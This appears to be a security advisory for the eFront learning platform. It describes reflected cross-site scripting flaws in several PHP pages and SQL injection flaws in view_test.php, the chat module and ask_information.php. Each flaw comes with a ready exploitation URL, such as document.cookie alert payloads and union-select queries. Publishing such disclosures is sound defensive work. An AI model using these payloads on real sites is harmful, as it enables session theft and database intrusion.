1.1 Input passed via the "course" GET parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?ctg=lesson_info&lessons_ID=1&course=%27%20onmouseover%3dalert%28document.coo kie%29%3E

1.2 Input appended to the URL after index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
The following PoC is available:
http://[host]/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")

1.3 Input passed via the "message_type" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?message=1&message_type=%22%20onmouseover=alert%28document.cookie%29%3E

1.4 Input passed via the "ctg" GET parameter to professor.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

1.5 Input passed via the "ctg" GET parameter to student.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

1.6 Input passed via the "ctg" GET parameter to administrator.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/administrator.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

2) SQL Injection in Efront
2.1 Input passed via the "done_test_id" GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?done_test_id=1%20union%20select%201,2,%28select%20version%28%29%29,4,5,6 ,7,8,9,10,11,12%20--%20
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.

2.2Input passed via the "user" GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?test_id=1&user=%27SQL_CODE_HERE
http://[host]/view_test.php?content_id=2&user=%27SQL_CODE_HERE
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.

2.3 Input passed via the "loglessonid" GET parameter to /modules/module_chat/admin.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/modules/module_chat/admin.php?force=getLessonFromId&loglessonid=-1%27%20union%20select %20version%28%29%20--%202
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.

2.4 Input passed via the "user2" GET parameter to ask_information.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/ask_information.php?common_lessons=1&user1=professor&user2=%27%20union%20select%201,ve rsion%28%29%20--%20
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.